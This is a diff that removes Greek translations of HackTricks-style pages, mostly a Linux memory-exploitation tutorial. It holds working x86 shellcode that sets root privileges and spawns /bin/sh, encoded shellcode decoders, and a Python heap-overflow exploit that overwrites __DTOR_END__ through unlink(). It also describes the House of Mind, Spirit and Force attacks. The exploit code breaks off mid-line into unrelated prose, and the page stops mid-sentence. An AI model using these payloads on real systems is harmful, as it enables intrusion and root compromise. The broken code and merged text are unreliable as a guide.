**`C14` ίσο με `0x02`**.\ -Στη συνέχεια, κάντε τα ίδια βήματα για να αποκρυπτογραφήσετε το C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** - -**Ακολουθήστε αυτή την αλυσίδα μέχρι να αποκρυπτογραφήσετε ολόκληρο το κρυπτογραφημένο κείμενο.** - -## Ανίχνευση της ευπάθειας - -Εγγραφείτε και δημιουργήστε έναν λογαριασμό και συνδεθείτε με αυτόν τον λογαριασμό.\ -Εάν **συνδεθείτε πολλές φορές** και πάντα λαμβάνετε το **ίδιο cookie**, πιθανότατα υπάρχει **κάτι** **λάθος** στην εφαρμογή. Το **cookie που επιστρέφεται θα πρέπει να είναι μοναδικό** κάθε φορά που συνδέεστε. Εάν το cookie είναι **πάντα** το **ίδιο**, πιθανότατα θα είναι πάντα έγκυρο και δεν θα υπάρχει τρόπος να το ακυρώσετε. - -Τώρα, αν προσπαθήσετε να **τροποποιήσετε** το **cookie**, μπορείτε να δείτε ότι λαμβάνετε ένα **σφάλμα** από την εφαρμογή.\ -Αλλά αν κάνετε BF το padding (χρησιμοποιώντας το padbuster για παράδειγμα) καταφέρετε να αποκτήσετε ένα άλλο cookie έγκυρο για έναν διαφορετικό χρήστη. Αυτό το σενάριο είναι πολύ πιθανό να είναι ευάλωτο στο padbuster. - -## Αναφορές - -- [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation) - -
- -{{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/rc4-encrypt-and-decrypt.md b/src/cryptography/rc4-encrypt-and-decrypt.md deleted file mode 100644 index a6ad0d5d5..000000000 --- a/src/cryptography/rc4-encrypt-and-decrypt.md +++ /dev/null @@ -1,15 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -Αν μπορείτε με κάποιον τρόπο να κρυπτογραφήσετε ένα απλό κείμενο χρησιμοποιώντας RC4, μπορείτε να αποκρυπτογραφήσετε οποιοδήποτε περιεχόμενο έχει κρυπτογραφηθεί με αυτό το RC4 (χρησιμοποιώντας τον ίδιο κωδικό πρόσβασης) απλά χρησιμοποιώντας τη λειτουργία κρυπτογράφησης. - -Αν μπορείτε να κρυπτογραφήσετε ένα γνωστό απλό κείμενο, μπορείτε επίσης να εξάγετε τον κωδικό πρόσβασης. Περισσότερες αναφορές μπορείτε να βρείτε στη μηχανή HTB Kryptos: - -{{#ref}} -https://0xrick.github.io/hack-the-box/kryptos/ -{{#endref}} - -{{#ref}} -https://0xrick.github.io/hack-the-box/kryptos/ -{{#endref}} - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/emails-vulns.md b/src/emails-vulns.md deleted file mode 100644 index cae53f055..000000000 --- a/src/emails-vulns.md +++ /dev/null @@ -1,9 +0,0 @@ -# Ευπάθειες Emails - -{{#include ./banners/hacktricks-training.md}} - -## - -## - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/exploiting/linux-exploiting-basic-esp/README.md b/src/exploiting/linux-exploiting-basic-esp/README.md deleted file mode 100644 index 04eb5d4ca..000000000 --- a/src/exploiting/linux-exploiting-basic-esp/README.md +++ /dev/null @@ -1,542 +0,0 @@ -# Linux Exploiting (Basic) (SPA) - -{{#include ../../banners/hacktricks-training.md}} - -## **2.SHELLCODE** - -Δείτε διακοπές πυρήνα: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “\_\_NR\_” - -setreuid(0,0); // \_\_NR_setreuid 70\ -execve(“/bin/sh”, args\[], NULL); // \_\_NR_execve 11\ -exit(0); // \_\_NR_exit 1 - -xor eax, eax ; καθαρίζουμε το eax\ -xor ebx, ebx ; ebx = 0 καθώς δεν υπάρχει επιχείρημα να περάσουμε\ -mov al, 0x01 ; eax = 1 —> \_\_NR_exit 1\ -int 0x80 ; Εκτέλεση syscall - -**nasm -f elf assembly.asm** —> Μας επιστρέφει ένα .o\ -**ld assembly.o -o shellcodeout** —> Μας δίνει ένα εκτελέσιμο που σχηματίζεται από τον κώδικα συναρμολόγησης και μπορούμε να πάρουμε τους opcodes με **objdump**\ -**objdump -d -Mintel ./shellcodeout** —> Για να δούμε ότι είναι πράγματι η shellcode μας και να πάρουμε τους OpCodes - -**Ελέγξτε ότι η shellcode λειτουργεί** -``` -char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80” - -void main(){ -void (*fp) (void); -fp = (void *)shellcode; -fp(); -} -``` -Για να δούμε ότι οι κλήσεις συστήματος εκτελούνται σωστά, πρέπει να μεταγλωττίσουμε το προηγούμενο πρόγραμμα και οι κλήσεις συστήματος πρέπει να εμφανίζονται σε **strace ./PROGRAMA_COMPILADO**. - -Όταν δημιουργούμε shellcodes, μπορούμε να κάνουμε ένα κόλπο. Η πρώτη εντολή είναι ένα jump σε ένα call. Το call καλεί τον αρχικό κώδικα και επιπλέον βάζει στο stack το EIP. Μετά από την εντολή call έχουμε βάλει το string που χρειαζόμαστε, οπότε με αυτό το EIP μπορούμε να δείξουμε στο string και επιπλέον να συνεχίσουμε την εκτέλεση του κώδικα. - -ΕJ **ΚΟΛΠΟ (/bin/sh)**: -``` -jmp 0x1f ; Salto al último call -popl %esi ; Guardamos en ese la dirección al string -movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh) -xorl %eax, %eax ; eax = NULL -movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh -movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh -movl $0xb, %eax ; Syscall 11 -movl %esi, %ebx ; arg1=“/bin/sh” -leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”} -leal 0xc(%esi), %edx ; arg3 = NULL -int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL) -xorl %ebx, %ebx ; ebx = NULL -movl %ebx, %eax -inc %eax ; Syscall 1 -int $0x80 ; exit(0) -call -0x24 ; Salto a la primera instrución -.string \”/bin/sh\” ; String a usar -``` -**EJ χρησιμοποιώντας το Stack(/bin/sh):** -``` -section .text -global _start -_start: -xor eax, eax ;Limpieza -mov al, 0x46 ; Syscall 70 -xor ebx, ebx ; arg1 = 0 -xor ecx, ecx ; arg2 = 0 -int 0x80 ; setreuid(0,0) -xor eax, eax ; eax = 0 -push eax ; “\0” -push dword 0x68732f2f ; “//sh” -push dword 0x6e69622f; “/bin” -mov ebx, esp ; arg1 = “/bin//sh\0” -push eax ; Null -> args[1] -push ebx ; “/bin/sh\0” -> args[0] -mov ecx, esp ; arg2 = args[] -mov al, 0x0b ; Syscall 11 -int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL) -``` -**EJ FNSTENV:** -``` -fabs -fnstenv [esp-0x0c] -pop eax ; Guarda el EIP en el que se ejecutó fabs -… -``` -**Egg Huter:** - -Αποτελείται από έναν μικρό κώδικα που διασχίζει τις σελίδες μνήμης που σχετίζονται με μια διαδικασία αναζητώντας τη shellcode που είναι αποθηκευμένη εκεί (αναζητά κάποια υπογραφή που έχει τοποθετηθεί στη shellcode). Χρήσιμο σε περιπτώσεις όπου υπάρχει μόνο ένας μικρός χώρος για την έγχυση κώδικα. - -**Shellcodes polimórficos** - -Αποτελούνται από κωδικοποιημένα shells που έχουν έναν μικρό κώδικα που τα αποκωδικοποιεί και πηδά σε αυτόν, χρησιμοποιώντας το κόλπο Call-Pop αυτό θα ήταν ένα **παράδειγμα κωδικοποιημένο cesar**: -``` -global _start -_start: -jmp short magic -init: -pop esi -xor ecx, ecx -mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá) -desc: -sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar) -sub cl, 1 -jnz desc -jmp short sc -magic: -call init -sc: -;Aquí va el shellcode -``` -## **5. Συμπληρωματικές μέθοδοι** - -**Τεχνική του Murat** - -Στο linux όλα τα προγράμματα χαρτογραφούνται ξεκινώντας από 0xbfffffff - -Βλέποντας πώς κατασκευάζεται η στοίβα μιας νέας διαδικασίας στο linux, μπορεί να αναπτυχθεί ένα exploit με τέτοιο τρόπο ώστε το πρόγραμμα να εκκινείται σε ένα περιβάλλον της οποίας η μοναδική μεταβλητή είναι η shellcode. Η διεύθυνση αυτής μπορεί να υπολογιστεί ως: addr = 0xbfffffff - 4 - strlen(ΟΝΟΜΑ_εκτελέσιμου_αρχείου) - strlen(shellcode) - -Με αυτόν τον τρόπο θα αποκτηθεί απλά η διεύθυνση όπου βρίσκεται η μεταβλητή περιβάλλοντος με τη shellcode. - -Αυτό μπορεί να γίνει χάρη στο γεγονός ότι η συνάρτηση execle επιτρέπει τη δημιουργία ενός περιβάλλοντος που να έχει μόνο τις μεταβλητές περιβάλλοντος που επιθυμείτε. - -## - -### - -### - -### - -### - -### **Format Strings to Buffer Overflows** - -Η **sprintf moves** μια μορφοποιημένη συμβολοσειρά **σε** μια **μεταβλητή.** Επομένως, θα μπορούσατε να εκμεταλλευτείτε τη **μορφοποίηση** μιας συμβολοσειράς για να προκαλέσετε μια **buffer overflow στη μεταβλητή** όπου αντιγράφεται το περιεχόμενο.\ -Για παράδειγμα, το payload `%.44xAAAA` θα **γράψει 44B+"AAAA" στη μεταβλητή**, κάτι που μπορεί να προκαλέσει μια buffer overflow. - -### **\_\_atexit Structures** - -> [!CAUTION] -> Σήμερα είναι πολύ **περίεργο να εκμεταλλευτείτε αυτό**. - -**`atexit()`** είναι μια συνάρτηση στην οποία **άλλες συναρτήσεις περνιούνται ως παράμετροι.** Αυτές οι **συναρτήσεις** θα **εκτελούνται** κατά την εκτέλεση ενός **`exit()`** ή της **επιστροφής** της **κύριας**.\ -Εάν μπορείτε να **τροποποιήσετε** τη **διεύθυνση** οποιασδήποτε από αυτές τις **συναρτήσεις** ώστε να δείχνει σε μια shellcode για παράδειγμα, θα **κερδίσετε έλεγχο** της **διαδικασίας**, αλλά αυτό είναι αυτή τη στιγμή πιο περίπλοκο.\ -Αυτή τη στιγμή οι **διευθύνσεις στις συναρτήσεις** που θα εκτελούνται είναι **κρυμμένες** πίσω από πολλές δομές και τελικά η διεύθυνση στην οποία δείχνουν δεν είναι οι διευθύνσεις των συναρτήσεων, αλλά είναι **κρυπτογραφημένες με XOR** και μετατοπίσεις με μια **τυχαία κλειδί**. Έτσι, αυτή τη στιγμή αυτός ο επιθετικός παράγοντας δεν είναι **πολύ χρήσιμος τουλάχιστον σε x86** και **x64_86**.\ -Η **συνάρτηση κρυπτογράφησης** είναι **`PTR_MANGLE`**. **Άλλες αρχιτεκτονικές** όπως m68k, mips32, mips64, aarch64, arm, hppa... **δεν υλοποιούν τη συνάρτηση κρυπτογράφησης** γιατί **επιστρέφει το ίδιο** με αυτό που έλαβε ως είσοδο. Έτσι, αυτές οι αρχιτεκτονικές θα μπορούσαν να επιτεθούν μέσω αυτού του παράγοντα. - -### **setjmp() & longjmp()** - -> [!CAUTION] -> Σήμερα είναι πολύ **περίεργο να εκμεταλλευτείτε αυτό**. - -**`Setjmp()`** επιτρέπει να **αποθηκεύσετε** το **περιβάλλον** (τους καταχωρητές)\ -**`longjmp()`** επιτρέπει να **αποκαταστήσετε** το **περιβάλλον**.\ -Οι **αποθηκευμένοι καταχωρητές** είναι: `EBX, ESI, EDI, ESP, EIP, EBP`\ -Αυτό που συμβαίνει είναι ότι οι EIP και ESP περνιούνται από τη **συνάρτηση `PTR_MANGLE`**, έτσι η **αρχιτεκτονική ευάλωτη σε αυτή την επίθεση είναι η ίδια με την παραπάνω**.\ -Είναι χρήσιμες για αποκατάσταση σφαλμάτων ή διακοπές.\ -Ωστόσο, από όσα έχω διαβάσει, οι άλλοι καταχωρητές δεν είναι προστατευμένοι, **έτσι αν υπάρχει μια `call ebx`, `call esi` ή `call edi`** μέσα στη συνάρτηση που καλείται, μπορεί να αναληφθεί ο έλεγχος. Ή θα μπορούσατε επίσης να τροποποιήσετε το EBP για να τροποποιήσετε το ESP. - -**VTable και VPTR σε C++** - -Κάθε κλάση έχει μια **Vtable** που είναι ένας πίνακας **δεικτών σε μεθόδους**. - -Κάθε αντικείμενο μιας **κλάσης** έχει ένα **VPtr** που είναι ένας **δείκτης** στον πίνακα της κλάσης του. Το VPtr είναι μέρος της κεφαλίδας κάθε αντικειμένου, έτσι αν επιτευχθεί μια **υπεργραφή** του **VPtr** θα μπορούσε να **τροποποιηθεί** ώστε να **δείχνει** σε μια ψεύτικη μέθοδο ώστε η εκτέλεση μιας συνάρτησης να πηγαίνει στη shellcode. - -## **Προληπτικά μέτρα και αποφυγές** - -### - -**Αντικατάσταση του Libsafe** - -Ενεργοποιείται με: LD_PRELOAD=/lib/libsafe.so.2\ -ή\ -“/lib/libsave.so.2” > /etc/ld.so.preload - -Εντοπίζονται οι κλήσεις σε ορισμένες ανασφαλείς συναρτήσεις με άλλες ασφαλείς. Δεν είναι τυποποιημένο. (μόνο για x86, όχι για κατασκευές με -fomit-frame-pointer, όχι στατικές κατασκευές, όχι όλες οι ευάλωτες συναρτήσεις γίνονται ασφαλείς και το LD_PRELOAD δεν λειτουργεί σε δυαδικά με suid). - -**ASCII Armored Address Space** - -Συνίσταται στη φόρτωση των κοινών βιβλιοθηκών από 0x00000000 έως 0x00ffffff ώστε να υπάρχει πάντα ένα byte 0x00. Ωστόσο, αυτό πραγματικά δεν σταματά σχεδόν καμία επίθεση, και λιγότερο σε little endian. - -**ret2plt** - -Συνίσταται στην εκτέλεση ενός ROP ώστε να καλείται η συνάρτηση strcpy@plt (από την plt) και να δείχνει στην είσοδο της GOT και να αντιγράφει το πρώτο byte της συνάρτησης που θέλετε να καλέσετε (system()). Αμέσως μετά γίνεται το ίδιο δείχνοντας στο GOT+1 και αντιγράφεται το 2ο byte του system()… Στο τέλος καλείται η διεύθυνση που αποθηκεύτηκε στο GOT που θα είναι το system() - -**Κλουβιά με chroot()** - -debootstrap -arch=i386 hardy /home/user —> Εγκαθιστά ένα βασικό σύστημα κάτω από έναν συγκεκριμένο υποκατάλογο - -Ένας διαχειριστής μπορεί να βγει από ένα από αυτά τα κλουβιά κάνοντας: mkdir foo; chroot foo; cd .. - -**Εργαλειοποίηση κώδικα** - -Valgrind —> Αναζητά σφάλματα\ -Memcheck\ -RAD (Return Address Defender)\ -Insure++ - -## **8 Heap Overflows: Βασικά exploits** - -**Κατανεμημένο κομμάτι** - -prev_size |\ -size | —Κεφαλίδα\ -\*mem | Δεδομένα - -**Ελεύθερο κομμάτι** - -prev_size |\ -size |\ -\*fd | Ptr forward chunk\ -\*bk | Ptr back chunk —Κεφαλίδα\ -\*mem | Δεδομένα - -Τα ελεύθερα κομμάτια βρίσκονται σε μια διπλά συνδεδεμένη λίστα (bin) και δεν μπορούν να υπάρχουν δύο ελεύθερα κομμάτια μαζί (συγχωνεύονται) - -Στο “size” υπάρχουν bits για να υποδείξουν: Εάν το προηγούμενο κομμάτι είναι σε χρήση, εάν το κομμάτι έχει ανατεθεί μέσω mmap() και εάν το κομμάτι ανήκει στην πρωτεύουσα αρένα. - -Εάν κατά την απελευθέρωση ενός κομματιού κάποιο από τα γειτονικά είναι ελεύθερο, αυτά συγχωνεύονται μέσω της μακροεντολής unlink() και το νέο μεγαλύτερο κομμάτι περνάει στο frontlink() για να εισαχθεί στο κατάλληλο bin. - -unlink(){\ -BK = P->bk; —> Το BK του νέου chunk είναι αυτό που είχε το ήδη ελεύθερο πριν\ -FD = P->fd; —> Το FD του νέου chunk είναι αυτό που είχε το ήδη ελεύθερο πριν\ -FD->bk = BK; —> Το BK του επόμενου chunk δείχνει στο νέο chunk\ -BK->fd = FD; —> Το FD του προηγούμενου chunk δείχνει στο νέο chunk\ -} - -Έτσι, αν καταφέρουμε να τροποποιήσουμε το P->bk με τη διεύθυνση μιας shellcode και το P->fd με τη διεύθυνση σε μια είσοδο στην GOT ή DTORS λιγότερο 12, επιτυγχάνεται: - -BK = P->bk = \&shellcode\ -FD = P->fd = &\_\_dtor_end\_\_ - 12\ -FD->bk = BK -> \*((&\_\_dtor_end\_\_ - 12) + 12) = \&shellcode - -Και έτσι εκτελείται η shellcode κατά την έξοδο από το πρόγραμμα. - -Επιπλέον, η 4η δήλωση του unlink() γράφει κάτι και η shellcode πρέπει να είναι προσαρμοσμένη για αυτό: - -BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor_end\_\_ - 12) —> Αυτό προκαλεί την εγγραφή 4 bytes από το 8ο byte της shellcode, οπότε η πρώτη εντολή της shellcode πρέπει να είναι ένα jmp για να παραλείψει αυτό και να πέσει σε κάποια nops που θα οδηγήσουν στο υπόλοιπο της shellcode. - -Έτσι, το exploit δημιουργείται: - -Στο buffer1 βάζουμε τη shellcode ξεκινώντας με ένα jmp ώστε να πέσει σε nops ή στο υπόλοιπο της shellcode. - -Μετά τη shell code βάζουμε γέμισμα μέχρι να φτάσουμε στο πεδίο prev_size και size του επόμενου κομματιού. Σε αυτές τις θέσεις βάζουμε 0xfffffff0 (έτσι ώστε να υπεργραφεί το prev_size ώστε να έχει το bit που λέει ότι είναι ελεύθερο) και “-4“(0xfffffffc) στο size (έτσι ώστε όταν ελέγξει στο 3ο κομμάτι αν το 2ο ήταν ελεύθερο στην πραγματικότητα να πάει στο τροποποιημένο prev_size που θα του πει ότι είναι ελεύθερο) -> Έτσι όταν το free() ερευνήσει θα πάει στο size του 3ου αλλά στην πραγματικότητα θα πάει στο 2ο - 4 και θα νομίζει ότι το 2ο κομμάτι είναι ελεύθερο. Και τότε θα καλέσει το **unlink()**. - -Κατά την κλήση του unlink() θα χρησιμοποιήσει ως P->fd τα πρώτα δεδομένα του 2ου κομματιού, οπότε εκεί θα μπει η διεύθυνση που θέλετε να υπεργράψετε - 12 (διότι στο FD->bk θα προσθέσει 12 στη διεύθυνση που αποθηκεύτηκε στο FD). Και σε αυτή τη διεύθυνση θα εισαχθεί η δεύτερη διεύθυνση που θα βρει στο 2ο κομμάτι, που μας ενδιαφέρει να είναι η διεύθυνση στη shellcode (P->bk ψεύτικο). - -**from struct import \*** - -**import os** - -**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno** - -**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\** - -**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\** - -**"\x80\xe8\xdc\xff\xff\xff/bin/sh";** - -**prev_size = pack("\ Επιστρέφει έναν δείκτη στη διεύθυνση όπου αρχίζει το κομμάτι (mem-8) - -… - -ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:\&main_arena \[1] - -… - -\_int_free(ar_ptr, mem); - -} - -Στο \[1] ελέγχει το πεδίο size το bit NON_MAIN_ARENA, το οποίο μπορεί να τροποποιηθεί ώστε η επαλήθευση να επιστρέψει true και να εκτελέσει το heap_for_ptr() που κάνει ένα and στο “mem” αφήνοντας 0 τα 2.5 λιγότερο σημαντικά bytes (στην περίπτωσή μας από 0x0804a000 αφήνει 0x08000000) και έχει πρόσβαση στο 0x08000000->ar_ptr (σαν να ήταν μια δομή heap_info) - -Με αυτόν τον τρόπο, εάν μπορούμε να ελέγξουμε ένα κομμάτι για παράδειγμα στο 0x0804a000 και πρόκειται να απελευθερωθεί ένα κομμάτι στο **0x081002a0** μπορούμε να φτάσουμε στη διεύθυνση 0x08100000 και να γράψουμε ό,τι θέλουμε, για παράδειγμα **0x0804a000**. Όταν αυτό το δεύτερο κομμάτι απελευθερωθεί, θα διαπιστώσει ότι το heap_for_ptr(ptr)->ar_ptr επιστρέφει αυτό που έχουμε γράψει στο 0x08100000 (διότι εφαρμόζεται στο 0x081002a0 το and που είδαμε πριν και από εκεί εξάγεται η τιμή των 4 πρώτων bytes, το ar_ptr) - -Με αυτόν τον τρόπο καλείται το \_int_free(ar_ptr, mem), δηλαδή, **\_int_free(0x0804a000, 0x081002a0)**\ -**\_int_free(mstate av, Void_t\* mem){**\ -…\ -bck = unsorted_chunks(av);\ -fwd = bck->fd;\ -p->bk = bck;\ -p->fd = fwd;\ -bck->fd = p;\ -fwd->bk = p; - -..} - -Όπως είδαμε πριν, μπορούμε να ελέγξουμε την τιμή του av, διότι είναι αυτό που γράψαμε στο κομμάτι που πρόκειται να απελευθερωθεί. - -Ακριβώς όπως ορίζεται το unsorted_chunks, γνωρίζουμε ότι:\ -bck = \&av->bins\[2]-8;\ -fwd = bck->fd = \*(av->bins\[2]);\ -fwd->bk = \*(av->bins\[2] + 12) = p; - -Έτσι, αν στο av->bins\[2] γράψουμε την τιμή του \_\_DTOR_END\_\_-12 στην τελευταία εντολή θα γραφτεί στο \_\_DTOR_END\_\_ η διεύθυνση του δεύτερου κομματιού. - -Δηλαδή, στο πρώτο κομμάτι πρέπει να βάλουμε στην αρχή πολλές φορές τη διεύθυνση του \_\_DTOR_END\_\_-12 γιατί από εκεί θα την πάρει το av->bins\[2] - -Στη διεύθυνση που θα πέσει η διεύθυνση του δεύτερου κομματιού με τα τελευταία 5 μηδενικά πρέπει να γράψουμε τη διεύθυνση σε αυτό το πρώτο κομμάτι ώστε το heap_for_ptr() να νομίζει ότι το ar_ptr είναι στην αρχή του πρώτου κομματιού και να εξάγει από εκεί το av->bins\[2] - -Στο δεύτερο κομμάτι και χάρη στο πρώτο υπεργράφουμε το prev_size με ένα jump 0x0c και το size με κάτι για να ενεργοποιήσουμε -> NON_MAIN_ARENA - -Στη συνέχεια, στο κομμάτι 2 βάζουμε μια σωρεία nops και τελικά τη shellcode - -Με αυτόν τον τρόπο θα κληθεί το \_int_free(TROZO1, TROZO2) και θα ακολουθήσει τις εντολές για να γράψει στο \_\_DTOR_END\_\_ τη διεύθυνση του prev_size του TROZO2 το οποίο θα παραλείψει στη shellcode. - -Για να εφαρμοστεί αυτή η τεχνική απαιτείται να πληρούνται ορισμένες επιπλέον απαιτήσεις που περιπλέκουν λίγο περισσότερο το payload. - -Αυτή η τεχνική δεν είναι πλέον εφαρμόσιμη καθώς εφαρμόστηκε σχεδόν η ίδια επιδιόρθωση όπως για το unlink. Συγκρίνονται αν η νέα θέση στην οποία δείχνει επίσης δείχνει σε αυτήν. - -**Fastbin** - -Είναι μια παραλλαγή του The house of mind - -μας ενδιαφέρει να εκτελέσουμε τον επόμενο κώδικα στον οποίο φτάνουμε μετά την πρώτη επαλήθευση της συνάρτησης \_int_free() - -fb = &(av->fastbins\[fastbin_index(size)] —> Όντας fastbin_index(sz) —> (sz >> 3) - 2 - -… - -p->fd = \*fb - -\*fb = p - -Με αυτόν τον τρόπο, αν βάλουμε στο “fb” τη διεύθυνση μιας συνάρτησης στην GOT, σε αυτή τη διεύθυνση θα τοποθετηθεί η διεύθυνση στο κομμάτι που έχει υπεργραφεί. Για αυτό θα είναι απαραίτητο η αρένα να είναι κοντά στις διευθύνσεις των dtors. Πιο συγκεκριμένα, το av->max_fast πρέπει να είναι στη διεύθυνση που θα υπεργραφεί. - -Δεδομένου ότι με το The House of Mind είδαμε ότι ελέγχαμε τη θέση του av. - -Έτσι, αν στο πεδίο size βάλουμε ένα μέγεθος 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() θα μας επιστρέψει fastbins\[-1], που θα δείχνει στο av->max_fast - -Σε αυτή την περίπτωση το av->max_fast θα είναι η διεύθυνση που θα υπεργραφεί (όχι σε αυτή που δείχνει, αλλά αυτή η θέση θα είναι η οποία θα υπεργραφεί). - -Επιπλέον, πρέπει να πληρούνται οι προϋποθέσεις ότι το κομμάτι που γειτονεύει με το απελευθερωμένο πρέπει να είναι μεγαλύτερο από 8 -> Δεδομένου ότι είπαμε ότι το μέγεθος του απελευθερωμένου κομματιού είναι 8, σε αυτό το ψεύτικο κομμάτι πρέπει να βάλουμε μόνο ένα μέγεθος μεγαλύτερο από 8 (καθώς επίσης η shellcode θα πάει στο απελευθερωμένο κομμάτι, θα πρέπει να βάλουμε στην αρχή ένα jmp που θα πέσει σε nops). - -Επιπλέον, αυτό το ίδιο ψεύτικο κομμάτι πρέπει να είναι μικρότερο από το av->system_mem. Το av->system_mem βρίσκεται 1848 bytes παρακάτω. - -Λόγω των μηδενικών του \_DTOR_END\_ και των λίγων διευθύνσεων στην GOT, καμία από αυτές τις διευθύνσεις δεν είναι κατάλληλη για να υπεργραφούν, οπότε ας δούμε πώς να εφαρμόσουμε το fastbin για να επιτεθούμε στη στοίβα. - -Ένας άλλος τρόπος επίθεσης είναι να ανακατευθύνουμε το **av** προς τη στοίβα. - -Εάν τροποποιήσουμε το μέγεθος ώστε να είναι 16 αντί για 8 τότε: fastbin_index() θα μας επιστρέψει fastbins\[0] και μπορούμε να χρησιμοποιήσουμε αυτό για να υπεργράψουμε τη στοίβα. - -Για αυτό δεν πρέπει να υπάρχει κανένας canary ή περίεργες τιμές στη στοίβα, στην πραγματικότητα πρέπει να βρισκόμαστε σε αυτήν: 4 bytes μηδενικά + EBP + RET - -Τα 4 μηδενικά bytes χρειάζονται ώστε το **av** να είναι σε αυτή τη διεύθυνση και το πρώτο στοιχείο ενός **av** είναι το mutex που πρέπει να είναι 0. - -Το **av->max_fast** θα είναι το EBP και θα είναι μια τιμή που θα μας βοηθήσει να παρακάμψουμε τους περιορισμούς. - -Στο **av->fastbins\[0]** θα υπεργραφεί με τη διεύθυνση του **p** και θα είναι το RET, έτσι θα παρακαμφθεί στη shellcode. - -Επιπλέον, στο **av->system_mem** (1484 bytes πάνω από τη θέση στη στοίβα) θα υπάρχει αρκετή σαβούρα που θα μας επιτρέψει να παρακάμψουμε την επαλήθευση που πραγματοποιείται. - -Επιπλέον, πρέπει να πληρούνται οι προϋποθέσεις ότι το κομμάτι που γειτονεύει με το απελευθερωμένο πρέπει να είναι μεγαλύτερο από 8 -> Δεδομένου ότι είπαμε ότι το μέγεθος του απελευθερωμένου κομματιού είναι 16, σε αυτό το ψεύτικο κομμάτι πρέπει να βάλουμε μόνο ένα μέγεθος μεγαλύτερο από 8 (καθώς επίσης η shellcode θα πάει στο απελευθερωμένο κομμάτι, θα πρέπει να βάλουμε στην αρχή ένα jmp που θα πέσει σε nops που θα ακολουθούν το πεδίο size του νέου ψεύτικου κομματιού). - -**The House of Spirit** - -Σε αυτή την περίπτωση αναζητούμε να έχουμε έναν δείκτη σε ένα malloc που μπορεί να είναι τροποποιήσιμο από τον επιτιθέμενο (π.χ., ο δείκτης να είναι στη στοίβα κάτω από μια πιθανή υπερχείλιση σε μια μεταβλητή). - -Έτσι, θα μπορούσαμε να κάνουμε αυτόν τον δείκτη να δείχνει όπου θέλουμε. Ωστόσο, δεν είναι οποιαδήποτε θέση έγκυρη, το μέγεθος του ψεύτικου κομματιού πρέπει να είναι μικρότερο από το av->max_fast και πιο συγκεκριμένα ίσο με το μέγεθος που ζητήθηκε σε μια μελλοντική κλήση στο malloc()+8. Για αυτό, αν ξέρουμε ότι μετά από αυτόν τον ευάλωτο δείκτη καλείται malloc(40), το μέγεθος του ψεύτικου κομματιού πρέπει να είναι ίσο με 48. - -Εάν για παράδειγμα το πρόγραμμα ρωτούσε τον χρήστη για έναν αριθμό, θα μπορούσαμε να εισάγουμε 48 και να δείξουμε τον τροποποιήσιμο δείκτη malloc στους επόμενους 4 bytes (που θα μπορούσαν να ανήκουν στο EBP με τύχη, έτσι το 48 μένει πίσω, σαν να ήταν η κεφαλίδα size). Επιπλέον, η διεύθυνση ptr-4+48 πρέπει να πληροί πολλές προϋποθέσεις (στην περίπτωση αυτή ptr=EBP), δηλαδή, 8 < ptr-4+48 < av->system_mem. - -Εάν αυτό πληρούται, όταν κληθεί το επόμενο malloc που είπαμε ότι ήταν malloc(40) θα του ανατεθεί ως διεύθυνση η διεύθυνση του EBP. Εάν ο επιτιθέμενος μπορεί επίσης να ελέγξει τι γράφεται σε αυτό το malloc μπορεί να υπεργράψει τόσο το EBP όσο και το EIP με τη διεύθυνση που θέλει. - -Αυτό πιστεύω ότι συμβαίνει γιατί έτσι όταν το απελευθερώσει το free() θα κρατήσει ότι στη διεύθυνση που δείχνει το EBP της στοίβας υπάρχει ένα κομμάτι μεγέθους τέλειου για το νέο malloc() που θέλει να κρατήσει, έτσι του αναθέτει αυτή τη διεύθυνση. - -**The House of Force** - -Απαιτείται: - -- Μια υπερχείλιση σε ένα κομμάτι που επιτρέπει την υπεργραφή της wilderness -- Μια κλήση στο malloc() με το μέγεθος που καθορίζεται από τον χρήστη -- Μια κλήση στο malloc() των δεδομένων που μπορούν να καθοριστούν από τον χρήστη - -Το πρώτο που γίνεται είναι να υπεργραφεί το μέγεθος του κομματιού wilderness με μια πολύ μεγάλη τιμή (0xffffffff), έτσι οποιαδήποτε αίτηση μνήμης αρκετά μεγάλη θα αντιμετωπιστεί στο \_int_malloc() χωρίς να χρειάζεται να επεκταθεί το heap - -Το δεύτερο είναι να τροποποιηθεί το av->top ώστε να δείχνει σε μια περιοχή μνήμης υπό τον έλεγχο του επιτιθέμενου, όπως η στοίβα. Στο av->top θα τοποθετηθεί \&EIP - 8. - -Πρέπει να υπεργράψουμε το av->top ώστε να δείχνει στην περιοχή μνήμης υπό τον έλεγχο του επιτιθέμενου: - -victim = av->top; - -remainder = chunck_at_offset(victim, nb); - -av->top = remainder; - -Η Victim συλλέγει την τιμή της διεύθυνσης του τρέχοντος κομματιού wilderness (το τρέχον av->top) και η remainder είναι ακριβώς το άθροισμα αυτής της διεύθυνσης με την ποσότητα των bytes που ζητήθηκαν από το malloc(). Έτσι, αν \&EIP-8 είναι στο 0xbffff224 και το av->top περιέχει 0x080c2788, τότε η ποσότητα που πρέπει να κρατήσουμε στο malloc που ελέγχεται ώστε το av->top να 